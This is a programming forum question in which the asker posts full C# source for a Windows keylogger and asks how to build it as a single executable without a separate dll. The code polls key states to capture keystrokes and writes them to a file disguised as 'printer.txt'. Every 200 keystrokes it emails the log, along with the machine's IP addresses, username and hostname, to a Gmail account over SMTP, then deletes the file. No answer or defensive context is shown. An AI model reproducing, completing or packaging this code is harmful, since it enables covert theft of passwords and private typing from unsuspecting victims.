C# program creating a dll file when compiled

Question

I started coding a keylogger in Visual Studio 2019 with C# and I tried to generate (build) the program.

Visual Studio creates the .exe file but also a dll file named keylogger.dll

But I would like to just have a single exe file.

Here is my code:

using System;
using System.Runtime.InteropServices;
using System.Threading;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Net;
using System.Net.Mail;

namespace Keylogger
{
    class Program
    {
        [DllImport("User32.dll")]
        private static extern int GetAsyncKeyState(Int32 i);
        static long numberOfKeystrokes = 0;
        static void Main(string[] args)
        {
            new Program().start();
        }

        private void start()
        {
            string filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
            if (!Directory.Exists(filepath))
            {
                Directory.CreateDirectory(filepath);
                //Create mydocumentsdirectory if doesn't exitst
            }

            string path = (filepath + @"\printer.txt");

            if (!File.Exists(path))
            {
                using (StreamWriter sw = File.CreateText(path))
                {

                }
            }
            while (true)
            {
                Thread.Sleep(5);
                //Check all keys state
                for (int i = 32; i < 127; i++)
                {
                    int keyState = GetAsyncKeyState(i);
                    if (keyState == 32769)
                    {
                        Console.Write(i + ", ");

                        //STORAGE
                        using (StreamWriter sw = File.AppendText(path))
                        {
                            sw.Write(verifyKey(i));
                        }
                        
                        numberOfKeystrokes++;
                        // Send every 200 character typed
                        if (numberOfKeystrokes >= 200)
                        {
                            SendNewMessage();
                            numberOfKeystrokes = 0;
                            File.Delete(path);
                        }
                    }
                }
            }
        }//main
        private String verifyKey(int code)
        {
            String key = "";

            if (code == 8) key = "[Back]";
            else if (code == 9) key = "[TAB]";
            else if (code == 13) key = "[Enter]";
            else if (code == 19) key = "[Pause]";
            else if (code == 20) key = "[Caps Lock]";
            //etc
            else if (code == 221) key = "[";
            else if (code == 222) key = "~";
            else if (code == 226) key = "\\";
            else key = "[" + code + "]";

            return key;
        }
        static void SendNewMessage()
        {
            //send the txt file

            String folderName = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
            string filePath = folderName + @"\printer.txt";

            String logContents = File.ReadAllText(filePath);
            string emailBody = "";


            //create the email
            DateTime now = DateTime.Now;

            var host = Dns.GetHostEntry(Dns.GetHostName());

            foreach (var adress in host.AddressList)
            {
                emailBody += "\n Adress" + adress;
            }
            emailBody += "\n User :" + Environment.UserDomainName + "\\" + Environment.UserName;
            emailBody += "\n Host :" + host;
            emailBody += "\n Time :" + now.ToString();
            emailBody += "\n" + logContents;

            SmtpClient client = new SmtpClient("smtp.gmail.com", 587);
            MailMessage mailMessage = new MailMessage();

            mailMessage.From = new MailAddress("email@gmail.com");
            mailMessage.To.Add("email@gmail.com");
            mailMessage.Subject = "Keylogger";
            client.UseDefaultCredentials = false;
            client.EnableSsl = true;

            client.Credentials = new System.Net.NetworkCredential("email@gmail.com", "Password123");
            mailMessage.Body = emailBody;
            client.Send(mailMessage);
        }

    }
}

Thanks in advance